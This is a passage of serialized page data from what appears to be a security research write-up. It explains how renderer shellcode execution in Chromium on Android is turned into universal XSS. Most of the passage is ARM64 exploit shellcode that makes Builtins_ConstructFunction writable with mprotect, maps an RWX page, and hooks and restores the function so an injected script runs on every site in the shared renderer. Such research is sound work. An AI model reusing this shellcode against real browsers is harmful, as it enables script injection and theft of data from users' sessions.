"style":294},[137260],{"type":28,"value":35776},{"type":23,"tag":139,"props":137262,"children":137263},{"style":259},[137264],{"type":28,"value":73},{"type":23,"tag":139,"props":137266,"children":137267},{"style":294},[137268],{"type":28,"value":131805},{"type":23,"tag":139,"props":137270,"children":137271},{"style":259},[137272],{"type":28,"value":995},{"type":23,"tag":139,"props":137274,"children":137275},{"class":141,"line":1745},[137276,137280,137284,137288,137292,137296],{"type":23,"tag":139,"props":137277,"children":137278},{"style":294},[137279],{"type":28,"value":99848},{"type":23,"tag":139,"props":137281,"children":137282},{"style":259},[137283],{"type":28,"value":73},{"type":23,"tag":139,"props":137285,"children":137286},{"style":245},[137287],{"type":28,"value":99857},{"type":23,"tag":139,"props":137289,"children":137290},{"style":259},[137291],{"type":28,"value":262},{"type":23,"tag":139,"props":137293,"children":137294},{"style":294},[137295],{"type":28,"value":30973},{"type":23,"tag":139,"props":137297,"children":137298},{"style":259},[137299],{"type":28,"value":1820},{"type":23,"tag":139,"props":137301,"children":137302},{"class":141,"line":1753},[137303],{"type":23,"tag":139,"props":137304,"children":137305},{"style":259},[137306],{"type":28,"value":99889},{"type":23,"tag":24,"props":137308,"children":137309},{},[137310],{"type":28,"value":137311},"And this time, it works as expected:",{"type":23,"tag":24,"props":137313,"children":137314},{},[137315],{"type":23,"tag":429,"props":137316,"children":137319},{"alt":137317,"src":137318},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":666,"props":137321,"children":137323},{"id":137322},"achieving-universal-xss",[137324],{"type":28,"value":137325},"Achieving Universal XSS",{"type":23,"tag":24,"props":137327,"children":137328},{},[137329,137331,137337,137339,137346],{"type":28,"value":137330},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":64,"props":137332,"children":137335},{"href":137333,"rel":137334},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[68],[137336],{"type":28,"value":68233},{"type":28,"value":137338}," from Tencent Security and ",{"type":23,"tag":64,"props":137340,"children":137343},{"href":137341,"rel":137342},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[68],[137344],{"type":28,"value":137345},"research article",{"type":28,"value":137347}," from InterruptLabs.",{"type":23,"tag":24,"props":137349,"children":137350},{},[137351,137353,137360],{"type":28,"value":137352},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":64,"props":137354,"children":137357},{"href":137355,"rel":137356},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[68],[137358],{"type":28,"value":137359},"weaker version",{"type":28,"value":137361}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":24,"props":137363,"children":137364},{},[137365,137367,137373],{"type":28,"value":137366},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":135,"props":137368,"children":137370},{"className":137369},[],[137371],{"type":28,"value":137372},"Builtins_ConstructFunction",{"type":28,"value":137374},", making it a natural target.",{"type":23,"tag":24,"props":137376,"children":137377},{},[137378,137380,137385],{"type":28,"value":137379},"Our goal is for ",{"type":23,"tag":135,"props":137381,"children":137383},{"className":137382},[],[137384],{"type":28,"value":137372},{"type":28,"value":137386}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":14699,"props":137388,"children":137389},{},[137390,137395,137405],{"type":23,"tag":801,"props":137391,"children":137392},{},[137393],{"type":28,"value":137394},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":801,"props":137396,"children":137397},{},[137398,137400],{"type":28,"value":137399},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":135,"props":137401,"children":137403},{"className":137402},[],[137404],{"type":28,"value":137372},{"type":23,"tag":801,"props":137406,"children":137407},{},[137408,137410,137415],{"type":28,"value":137409},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":135,"props":137411,"children":137413},{"className":137412},[],[137414],{"type":28,"value":137372},{"type":28,"value":137416},", which now proceeds normally",{"type":23,"tag":24,"props":137418,"children":137419},{},[137420],{"type":28,"value":137421},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":128,"props":137423,"children":137427},{"code":137424,"language":137425,"meta":7,"className":137426,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[137428],{"type":23,"tag":135,"props":137429,"children":137430},{"__ignoreMap":7},[137431,137439,137447,137455,137463,137470,137478,137486,137494,137502,137509,137517,137525,137533,137541,137549,137556,137564,137572,137580,137588,137596,137604,137611,137619,137626,137634,137642,137650,137657,137665,137673,137681,137689,137696,137703,137710,137717,137725,137733,137741,137748,137756,137764,137771,137779,137787,137795,137802,137810,137818,137826,137834,137841,137848,137856],{"type":23,"tag":139,"props":137432,"children":137433},{"class":141,"line":142},[137434],{"type":23,"tag":139,"props":137435,"children":137436},{},[137437],{"type":28,"value":137438},"// get return addr to x0\n",{"type":23,"tag":139,"props":137440,"children":137441},{"class":141,"line":151},[137442],{"type":23,"tag":139,"props":137443,"children":137444},{},[137445],{"type":28,"value":137446},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":139,"props":137448,"children":137449},{"class":141,"line":160},[137450],{"type":23,"tag":139,"props":137451,"children":137452},{},[137453],{"type":28,"value":137454},"// strip pac signature from return address\n",{"type":23,"tag":139,"props":137456,"children":137457},{"class":141,"line":169},[137458],{"type":23,"tag":139,"props":137459,"children":137460},{},[137461],{"type":28,"value":137462},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":139,"props":137464,"children":137465},{"class":141,"line":178},[137466],{"type":23,"tag":139,"props":137467,"children":137468},{"emptyLinePlaceholder":15},[137469],{"type":28,"value":184},{"type":23,"tag":139,"props":137471,"children":137472},{"class":141,"line":187},[137473],{"type":23,"tag":139,"props":137474,"children":137475},{},[137476],{"type":28,"value":137477},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":139,"props":137479,"children":137480},{"class":141,"line":196},[137481],{"type":23,"tag":139,"props":137482,"children":137483},{},[137484],{"type":28,"value":137485},"movz x1, #0x610c\n",{"type":23,"tag":139,"props":137487,"children":137488},{"class":141,"line":205},[137489],{"type":23,"tag":139,"props":137490,"children":137491},{},[137492],{"type":28,"value":137493},"sub x0, x0, x1\n",{"type":23,"tag":139,"props":137495,"children":137496},{"class":141,"line":214},[137497],{"type":23,"tag":139,"props":137498,"children":137499},{},[137500],{"type":28,"value":137501},"mov x5, x0\n",{"type":23,"tag":139,"props":137503,"children":137504},{"class":141,"line":1320},[137505],{"type":23,"tag":139,"props":137506,"children":137507},{"emptyLinePlaceholder":15},[137508],{"type":28,"value":184},{"type":23,"tag":139,"props":137510,"children":137511},{"class":141,"line":1329},[137512],{"type":23,"tag":139,"props":137513,"children":137514},{},[137515],{"type":28,"value":137516},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":139,"props":137518,"children":137519},{"class":141,"line":1580},[137520],{"type":23,"tag":139,"props":137521,"children":137522},{},[137523],{"type":28,"value":137524},"movz x1, #0xf000\n",{"type":23,"tag":139,"props":137526,"children":137527},{"class":141,"line":1597},[137528],{"type":23,"tag":139,"props":137529,"children":137530},{},[137531],{"type":28,"value":137532},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":139,"props":137534,"children":137535},{"class":141,"line":1614},[137536],{"type":23,"tag":139,"props":137537,"children":137538},{},[137539],{"type":28,"value":137540},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":139,"props":137542,"children":137543},{"class":141,"line":1627},[137544],{"type":23,"tag":139,"props":137545,"children":137546},{},[137547],{"type":28,"value":137548},"and x4, x5, x1\n",{"type":23,"tag":139,"props":137550,"children":137551},{"class":141,"line":1636},[137552],{"type":23,"tag":139,"props":137553,"children":137554},{"emptyLinePlaceholder":15},[137555],{"type":28,"value":184},{"type":23,"tag":139,"props":137557,"children":137558},{"class":141,"line":1659},[137559],{"type":23,"tag":139,"props":137560,"children":137561},{},[137562],{"type":28,"value":137563},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":139,"props":137565,"children":137566},{"class":141,"line":1667},[137567],{"type":23,"tag":139,"props":137568,"children":137569},{},[137570],{"type":28,"value":137571},"mov x0, x4\n",{"type":23,"tag":139,"props":137573,"children":137574},{"class":141,"line":1676},[137575],{"type":23,"tag":139,"props":137576,"children":137577},{},[137578],{"type":28,"value":137579},"mov x1, #0x2000\n",{"type":23,"tag":139,"props":137581,"children":137582},{"class":141,"line":1745},[137583],{"type":23,"tag":139,"props":137584,"children":137585},{},[137586],{"type":28,"value":137587},"mov x2, #0x7\n",{"type":23,"tag":139,"props":137589,"children":137590},{"class":141,"line":1753},[137591],{"type":23,"tag":139,"props":137592,"children":137593},{},[137594],{"type":28,"value":137595},"mov x8, #226\n",{"type":23,"tag":139,"props":137597,"children":137598},{"class":141,"line":1783},[137599],{"type":23,"tag":139,"props":137600,"children":137601},{},[137602],{"type":28,"value":137603},"svc #0\n",{"type":23,"tag":139,"props":137605,"children":137606},{"class":141,"line":1791},[137607],{"type":23,"tag":139,"props":137608,"children":137609},{"emptyLinePlaceholder":15},[137610],{"type":28,"value":184},{"type":23,"tag":139,"props":137612,"children":137613},{"class":141,"line":1823},[137614],{"type":23,"tag":139,"props":137615,"children":137616},{},[137617],{"type":28,"value":137618},"mov x6, x5\n",{"type":23,"tag":139,"props":137620,"children":137621},{"class":141,"line":1831},[137622],{"type":23,"tag":139,"props":137623,"children":137624},{"emptyLinePlaceholder":15},[137625],{"type":28,"value":184},{"type":23,"tag":139,"props":137627,"children":137628},{"class":141,"line":1891},[137629],{"type":23,"tag":139,"props":137630,"children":137631},{},[137632],{"type":28,"value":137633},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":139,"props":137635,"children":137636},{"class":141,"line":7053},[137637],{"type":23,"tag":139,"props":137638,"children":137639},{},[137640],{"type":28,"value":137641},"mov x0, #0\n",{"type":23,"tag":139,"props":137643,"children":137644},{"class":141,"line":7071},[137645],{"type":23,"tag":139,"props":137646,"children":137647},{},[137648],{"type":28,"value":137649},"mov x1, #0x1000\n",{"type":23,"tag":139,"props":137651,"children":137652},{"class":141,"line":7116},[137653],{"type":23,"tag":139,"props":137654,"children":137655},{},[137656],{"type":28,"value":137587},{"type":23,"tag":139,"props":137658,"children":137659},{"class":141,"line":7222},[137660],{"type":23,"tag":139,"props":137661,"children":137662},{},[137663],{"type":28,"value":137664},"mov x3, #34\n",{"type":23,"tag":139,"props":137666,"children":137667},{"class":141,"line":21518},[137668],{"type":23,"tag":139,"props":137669,"children":137670},{},[137671],{"type":28,"value":137672},"mov x4, #-1\n",{"type":23,"tag":139,"props":137674,"children":137675},{"class":141,"line":21553},[137676],{"type":23,"tag":139,"props":137677,"children":137678},{},[137679],{"type":28,"value":137680},"mov x5, #0\n",{"type":23,"tag":139,"props":137682,"children":137683},{"class":141,"line":21561},[137684],{"type":23,"tag":139,"props":137685,"children":137686},{},[137687],{"type":28,"value":137688},"mov x8, #222\n",{"type":23,"tag":139,"props":137690,"children":137691},{"class":141,"line":21569},[137692],{"type":23,"tag":139,"props":137693,"children":137694},{},[137695],{"type":28,"value":137603},{"type":23,"tag":139,"props":137697,"children":137698},{"class":141,"line":21578},[137699],{"type":23,"tag":139,"props":137700,"children":137701},{"emptyLinePlaceholder":15},[137702],{"type":28,"value":184},{"type":23,"tag":139,"props":137704,"children":137705},{"class":141,"line":21620},[137706],{"type":23,"tag":139,"props":137707,"children":137708},{},[137709],{"type":28,"value":137501},{"type":23,"tag":139,"props":137711,"children":137712},{"class":141,"line":21653},[137713],{"type":23,"tag":139,"props":137714,"children":137715},{"emptyLinePlaceholder":15},[137716],{"type":28,"value":184},{"type":23,"tag":139,"props":137718,"children":137719},{"class":141,"line":21661},[137720],{"type":23,"tag":139,"props":137721,"children":137722},{},[137723],{"type":28,"value":137724},"// at this point:\n",{"type":23,"tag":139,"props":137726,"children":137727},{"class":141,"line":21669},[137728],{"type":23,"tag":139,"props":137729,"children":137730},{},[137731],{"type":28,"value":137732},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":139,"props":137734,"children":137735},{"class":141,"line":21678},[137736],{"type":23,"tag":139,"props":137737,"children":137738},{},[137739],{"type":28,"value":137740},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":139,"props":137742,"children":137743},{"class":141,"line":21754},[137744],{"type":23,"tag":139,"props":137745,"children":137746},{"emptyLinePlaceholder":15},[137747],{"type":28,"value":184},{"type":23,"tag":139,"props":137749,"children":137750},{"class":141,"line":21787},[137751],{"type":23,"tag":139,"props":137752,"children":137753},{},[137754],{"type":28,"value":137755},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":139,"props":137757,"children":137758},{"class":141,"line":21795},[137759],{"type":23,"tag":139,"props":137760,"children":137761},{},[137762],{"type":28,"value":137763},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":139,"props":137765,"children":137766},{"class":141,"line":21803},[137767],{"type":23,"tag":139,"props":137768,"children":137769},{"emptyLinePlaceholder":15},[137770],{"type":28,"value":184},{"type":23,"tag":139,"props":137772,"children":137773},{"class":141,"line":21840},[137774],{"type":23,"tag":139,"props":137775,"children":137776},{},[137777],{"type":28,"value":137778},"// wipe from cache\n",{"type":23,"tag":139,"props":137780,"children":137781},{"class":141,"line":21853},[137782],{"type":23,"tag":139,"props":137783,"children":137784},{},[137785],{"type":28,"value":137786},"mov x0, x5\n",{"type":23,"tag":139,"props":137788,"children":137789},{"class":141,"line":21866},[137790],{"type":23,"tag":139,"props":137791,"children":137792},{},[137793],{"type":28,"value":137794},"{WIPE_CACHE}\n",{"type":23,"tag":139,"props":137796,"children":137797},{"class":141,"line":21879},[137798],{"type":23,"tag":139,"props":137799,"children":137800},{"emptyLinePlaceholder":15},[137801],{"type":28,"value":184},{"type":23,"tag":139,"props":137803,"children":137804},{"class":141,"line":21933},[137805],{"type":23,"tag":139,"props":137806,"children":137807},{},[137808],{"type":28,"value":137809},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":139,"props":137811,"children":137812},{"class":141,"line":21942},[137813],{"type":23,"tag":139,"props":137814,"children":137815},{},[137816],{"type":28,"value":137817},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":139,"props":137819,"children":137820},{"class":141,"line":30168},[137821],{"type":23,"tag":139,"props":137822,"children":137823},{},[137824],{"type":28,"value":137825},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":139,"props":137827,"children":137828},{"class":141,"line":30189},[137829],{"type":23,"tag":139,"props":137830,"children":137831},{},[137832],{"type":28,"value":137833},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":139,"props":137835,"children":137836},{"class":141,"line":78855},[137837],{"type":23,"tag":139,"props":137838,"children":137839},{"emptyLinePlaceholder":15},[137840],{"type":28,"value":184},{"type":23,"tag":139,"props":137842,"children":137843},{"class":141,"line":78868},[137844],{"type":23,"tag":139,"props":137845,"children":137846},{},[137847],{"type":28,"value":137778},{"type":23,"tag":139,"props":137849,"children":137850},{"class":141,"line":78876},[137851],{"type":23,"tag":139,"props":137852,"children":137853},{},[137854],{"type":28,"value":137855},"mov x0, x6\n",{"type":23,"tag":139,"props":137857,"children":137858},{"class":141,"line":78884},[137859],{"type":23,"tag":139,"props":137860,"children":137861},{},[137862],{"type":28,"value":137794},{"type":23,"tag":24,"props":137864,"children":137865},{},[137866,137868,137874,137876,137881,137883,137889],{"type":28,"value":137867},"In the snippet above, ",{"type":23,"tag":135,"props":137869,"children":137871},{"className":137870},[],[137872],{"type":28,"value":137873},"new_compile_instrs",{"type":28,"value":137875}," refers to the instructions written to the beginning of ",{"type":23,"tag":135,"props":137877,"children":137879},{"className":137878},[],[137880],{"type":28,"value":137372},{"type":28,"value":137882}," that invoke the ",{"type":23,"tag":135,"props":137884,"children":137886},{"className":137885},[],[137887],{"type":28,"value":137888},"uxss_sc",{"type":28,"value":137890}," mmap-ed shellcode:",{"type":23,"tag":128,"props":137892,"children":137894},{"code":137893,"language":137425,"meta":7,"className":137426,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[137895],{"type":23,"tag":135,"props":137896,"children":137897},{"__ignoreMap":7},[137898,137906,137913,137921,137929,137936,137944,137952,137959,137967,137975,137982,137990],{"type":23,"tag":139,"props":137899,"children":137900},{"class":141,"line":142},[137901],{"type":23,"tag":139,"props":137902,"children":137903},{},[137904],{"type":28,"value":137905},"bti c\n",{"type":23,"tag":139,"props":137907,"children":137908},{"class":141,"line":151},[137909],{"type":23,"tag":139,"props":137910,"children":137911},{"emptyLinePlaceholder":15},[137912],{"type":28,"value":184},{"type":23,"tag":139,"props":137914,"children":137915},{"class":141,"line":160},[137916],{"type":23,"tag":139,"props":137917,"children":137918},{},[137919],{"type":28,"value":137920},"// store registers that will be overwritten\n",{"type":23,"tag":139,"props":137922,"children":137923},{"class":141,"line":169},[137924],{"type":23,"tag":139,"props":137925,"children":137926},{},[137927],{"type":28,"value":137928},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":139,"props":137930,"children":137931},{"class":141,"line":178},[137932],{"type":23,"tag":139,"props":137933,"children":137934},{"emptyLinePlaceholder":15},[137935],{"type":28,"value":184},{"type":23,"tag":139,"props":137937,"children":137938},{"class":141,"line":187},[137939],{"type":23,"tag":139,"props":137940,"children":137941},{},[137942],{"type":28,"value":137943},"// get current rip into x15\n",{"type":23,"tag":139,"props":137945,"children":137946},{"class":141,"line":196},[137947],{"type":23,"tag":139,"props":137948,"children":137949},{},[137950],{"type":28,"value":137951},"adr x15, .\n",{"type":23,"tag":139,"props":137953,"children":137954},{"class":141,"line":205},[137955],{"type":23,"tag":139,"props":137956,"children":137957},{"emptyLinePlaceholder":15},[137958],{"type":28,"value":184},{"type":23,"tag":139,"props":137960,"children":137961},{"class":141,"line":214},[137962],{"type":23,"tag":139,"props":137963,"children":137964},{},[137965],{"type":28,"value":137966},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":139,"props":137968,"children":137969},{"class":141,"line":1320},[137970],{"type":23,"tag":139,"props":137971,"children":137972},{},[137973],{"type":28,"value":137974},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":139,"props":137976,"children":137977},{"class":141,"line":1329},[137978],{"type":23,"tag":139,"props":137979,"children":137980},{"emptyLinePlaceholder":15},[137981],{"type":28,"value":184},{"type":23,"tag":139,"props":137983,"children":137984},{"class":141,"line":1580},[137985],{"type":23,"tag":139,"props":137986,"children":137987},{},[137988],{"type":28,"value":137989},"// jump to uxss_sc\n",{"type":23,"tag":139,"props":137991,"children":137992},{"class":141,"line":1597},[137993],{"type":23,"tag":139,"props":137994,"children":137995},{},[137996],{"type":28,"value":137997},"blr x15\n",{"type":23,"tag":24,"props":137999,"children":138000},{},[138001,138006,138008,138013],{"type":23,"tag":135,"props":138002,"children":138004},{"className":138003},[],[138005],{"type":28,"value":137888},{"type":28,"value":138007}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":135,"props":138009,"children":138011},{"className":138010},[],[138012],{"type":28,"value":137372},{"type":28,"value":138014}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":128,"props":138016,"children":138018},{"code":138017,"language":137425,"meta":7,"className":137426,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[138019],{"type":23,"tag":135,"props":138020,"children":138021},{"__ignoreMap":7},[138022,138029,138036,138044,138052,138060,138068,138076,138084,138092,138100,138108,138116,138124,138132,138140,138148,138156,138164],{"type":23,"tag":139,"props":138023,"children":138024},{"class":141,"line":142},[138025],{"type":23,"tag":139,"props":138026,"children":138027},{},[138028],{"type":28,"value":137905},{"type":23,"tag":139,"props":138030,"children":138031},{"class":141,"line":151},[138032],{"type":23,"tag":139,"props":138033,"children":138034},{"emptyLinePlaceholder":15},[138035],{"type":28,"value":184},{"type":23,"tag":139,"props":138037,"children":138038},{"class":141,"line":160},[138039],{"type":23,"tag":139,"props":138040,"children":138041},{},[138042],{"type":28,"value":138043},"// Save full register context\n",{"type":23,"tag":139,"props":138045,"children":138046},{"class":141,"line":169},[138047],{"type":23,"tag":139,"props":138048,"children":138049},{},[138050],{"type":28,"value":138051},"stp x0,  x1,  [sp, #-16]!\n",{"type":23,"tag":139,"props":138053,"children":138054},{"class":141,"line":178},[138055],{"type":23,"tag":139,"props":138056,"children":138057},{},[138058],{"type":28,"value":138059},"stp x2,  x3,  [sp, #-16]!\n",{"type":23,"tag":139,"props":138061,"children":138062},{"class":141,"line":187},[138063],{"type":23,"tag":139,"props":138064,"children":138065},{},[138066],{"type":28,"value":138067},"stp x4,  x5,  [sp, #-16]!\n",{"type":23,"tag":139,"props":138069,"children":138070},{"class":141,"line":196},[138071],{"type":23,"tag":139,"props":138072,"children":138073},{},[138074],{"type":28,"value":138075},"stp x6,  x7,  [sp, #-16]!\n",{"type":23,"tag":139,"props":138077,"children":138078},{"class":141,"line":205},[138079],{"type":23,"tag":139,"props":138080,"children":138081},{},[138082],{"type":28,"value":138083},"stp x8,  x9,  [sp, #-16]!\n",{"type":23,"tag":139,"props":138085,"children":138086},{"class":141,"line":214},[138087],{"type":23,"tag":139,"props":138088,"children":138089},{},[138090],{"type":28,"value":138091},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":139,"props":138093,"children":138094},{"class":141,"line":1320},[138095],{"type":23,"tag":139,"props":138096,"children":138097},{},[138098],{"type":28,"value":138099},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":139,"props":138101,"children":138102},{"class":141,"line":1329},[138103],{"type":23,"tag":139,"props":138104,"children":138105},{},[138106],{"type":28,"value":138107},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":139,"props":138109,"children":138110},{"class":141,"line":1580},[138111],{"type":23,"tag":139,"props":138112,"children":138113},{},[138114],{"type":28,"value":138115},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":139,"props":138117,"children":138118},{"class":141,"line":1597},[138119],{"type":23,"tag":139,"props":138120,"children":138121},{},[138122],{"type":28,"value":138123},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":139,"props":138125,"children":138126},{"class":141,"line":1614},[138127],{"type":23,"tag":139,"props":138128,"children":138129},{},[138130],{"type":28,"value":138131},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":139,"props":138133,"children":138134},{"class":141,"line":1627},[138135],{"type":23,"tag":139,"props":138136,"children":138137},{},[138138],{"type":28,"value":138139},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":139,"props":138141,"children":138142},{"class":141,"line":1636},[138143],{"type":23,"tag":139,"props":138144,"children":138145},{},[138146],{"type":28,"value":138147},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":139,"props":138149,"children":138150},{"class":141,"line":1659},[138151],{"type":23,"tag":139,"props":138152,"children":138153},{},[138154],{"type":28,"value":138155},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":139,"props":138157,"children":138158},{"class":141,"line":1667},[138159],{"type":23,"tag":139,"props":138160,"children":138161},{},[138162],{"type":28,"value":138163},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":139,"props":138165,"children":138166},{"class":141,"line":1676},[138167],{"type":23,"tag":139,"props":138168,"children":138169},{},[138170],{"type":28,"value":138171},"str lr, [sp, #-16]!\n",{"type":23,"tag":24,"props":138173,"children":138174},{},[138175],{"type":28,"value":138176},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":24,"props":138178,"children":138179},{},[138180,138182,138187],{"type":28,"value":138181},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":135,"props":138183,"children":138185},{"className":138184},[],[138186],{"type":28,"value":137372},{"type":28,"value":138188},", and then returns execution to its beginning:",{"type":23,"tag":128,"props":138190,"children":138192},{"code":138191,"language":137425,"meta":7,"className":137426,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[138193],{"type":23,"tag":135,"props":138194,"children":138195},{"__ignoreMap":7},[138196,138204,138212,138220,138228,138236,138243,138250,138258,138265,138272,138280,138288,138296,138304,138312,138320,138328,138336,138344,138352,138360,138368,138376,138384,138392,138400,138407,138415,138423,138431,138439,138447,138454,138462,138470,138477],{"type":23,"tag":139,"props":138197,"children":138198},{"class":141,"line":142},[138199],{"type":23,"tag":139,"props":138200,"children":138201},{},[138202],{"type":28,"value":138203},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":139,"props":138205,"children":138206},{"class":141,"line":151},[138207],{"type":23,"tag":139,"props":138208,"children":138209},{},[138210],{"type":28,"value":138211},"ldr lr, [sp], #16\n",{"type":23,"tag":139,"props":138213,"children":138214},{"class":141,"line":160},[138215],{"type":23,"tag":139,"props":138216,"children":138217},{},[138218],{"type":28,"value":138219},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":139,"props":138221,"children":138222},{"class":141,"line":169},[138223],{"type":23,"tag":139,"props":138224,"children":138225},{},[138226],{"type":28,"value":138227},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":139,"props":138229,"children":138230},{"class":141,"line":178},[138231],{"type":23,"tag":139,"props":138232,"children":138233},{},[138234],{"type":28,"value":138235},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":139,"props":138237,"children":138238},{"class":141,"line":187},[138239],{"type":23,"tag":139,"props":138240,"children":138241},{"emptyLinePlaceholder":15},[138242],{"type":28,"value":184},{"type":23,"tag":139,"props":138244,"children":138245},{"class":141,"line":196},[138246],{"type":23,"tag":139,"props":138247,"children":138248},{},[138249],{"type":28,"value":137778},{"type":23,"tag":139,"props":138251,"children":138252},{"class":141,"line":205},[138253],{"type":23,"tag":139,"props":138254,"children":138255},{},[138256],{"type":28,"value":138257},"mov x0, 